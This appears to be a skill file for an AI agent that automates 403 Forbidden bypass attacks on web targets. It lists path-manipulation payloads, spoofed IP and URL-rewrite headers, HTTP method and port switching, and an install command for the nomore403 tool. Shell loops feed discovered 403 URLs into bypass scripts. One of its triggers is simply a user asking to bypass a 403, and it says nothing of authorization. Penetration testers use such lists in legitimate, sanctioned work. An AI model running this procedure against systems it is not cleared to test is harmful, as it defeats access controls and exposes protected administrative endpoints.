SecurityTalent 403 Bypass Skill
Automated testing of 403 Forbidden bypass techniques based on Arcanum's hack_tips.
When to Use
- Content discovery finds 403 paths
- Recon identifies forbidden endpoints
- User asks to bypass 403/forbidden
- Testing access control misconfigurations
Quick Start
# Test single URL
~/clawd/skills/403Bypass/scripts/bypass403.sh https://target.com/admin
# Test multiple URLs from file
cat 403-urls.txt | xargs -I {} ~/clawd/skills/403Bypass/scripts/bypass403.sh {}
# Use nomore403 tool (more comprehensive)
nomore403 -u https://target.com/admin
Bypass Techniques
1. URL Manipulation (Top 77 - Seclists jhaddix list)
These work best on config files and global dashboards:
/admin/?
//admin//
///admin///
/./admin/./
/admin??
/admin/?/
/admin/..
/admin/../
/admin/./
/admin/.
/admin/.//
/admin/*
/admin/%2f
/admin/%20
/admin/%09
/admin/%0a
/admin/%0d
/admin/%25
/admin/%23
/admin/%26
/admin/%3f
/admin/#
/admin/#/
/./admin
/..;/admin
/.;/admin
/;/admin
//;//admin
/%2e/admin
/admin/..;/
/admin.json
/admin/.json
/admin..;/
/admin;/
/admin%00
/admin.css
/admin.html
/admin?id=1
/admin~
/admin/°/
/admin/&
/admin/-
/admin\/\/
/admin/..%3B/
/admin/;%2f..%2f..%2f
/ADMIN
/admin/..\;/
/*/admin
/ADM+IN
2. Header Manipulation
Add these headers to requests:
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: localhost
X-Original-URL: /admin
X-Rewrite-URL: /admin
X-Custom-IP-Authorization: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Host: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
X-ProxyUser-Ip: 127.0.0.1
Client-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
Cluster-Client-IP: 127.0.0.1
X-Original-Method: GET
X-HTTP-Method-Override: GET
3. HTTP Method Switching
# Try different methods
curl -X POST https://target.com/admin
curl -X PUT https://target.com/admin
curl -X PATCH https://target.com/admin
curl -X DELETE https://target.com/admin
curl -X OPTIONS https://target.com/admin
curl -X TRACE https://target.com/admin
curl -X CONNECT https://target.com/admin
4. Protocol/Port Manipulation
# HTTP instead of HTTPS
http://target.com/admin
# Different ports
https://target.com:443/admin
https://target.com:8443/admin
https://target.com:80/admin
Automated Tool
Recommended: nomore403
# Install
go install github.com/devploit/nomore403@latest
# Use
nomore403 -u https://target.com/admin
nomore403 -u https://target.com/admin -m POST
Why These Work
| Technique | Reason |
|---|---|
| Multiple slashes | Servers normalize differently than WAFs |
| Dot segments (./, ../) | Path normalization bypasses access control |
| Query strings (?, ??) | Some checks only inspect path before ? |
| Special chars (;, #, *) | Break path validation routines |
| Encoding (%2f, %20) | WAFs decode once, server decodes again |
| Case variation (ADMIN) | Case-sensitive WAF, case-insensitive server |
| Extensions (.json, .css) | Extension-based filters miss these |
| Headers (X-Forwarded-For) | Backend trusts proxy headers for IP checks |
Integration with Content Discovery
After running content discovery, extract 403s and test:
# Extract 403 URLs from ffuf results
cat *-discovery.json | jq -r '.results[] | select(.status == 403) | .url' > 403-urls.txt
# Test each one
while read url; do
echo "=== Testing: $url ==="
~/clawd/skills/403Bypass/scripts/bypass403.sh "$url"
done < 403-urls.txt
Script Reference
scripts/bypass403.sh
Quick bypass tester for single URL:
~/clawd/skills/403Bypass/scripts/bypass403.sh <url>
Output shows status codes for each technique. Look for non-403 responses (200, 302, 401, 500 all indicate potential bypass).
scripts/bypass403-batch.sh
Batch processing with parallel execution:
~/clawd/skills/403Bypass/scripts/bypass403-batch.sh <urls-file> [threads]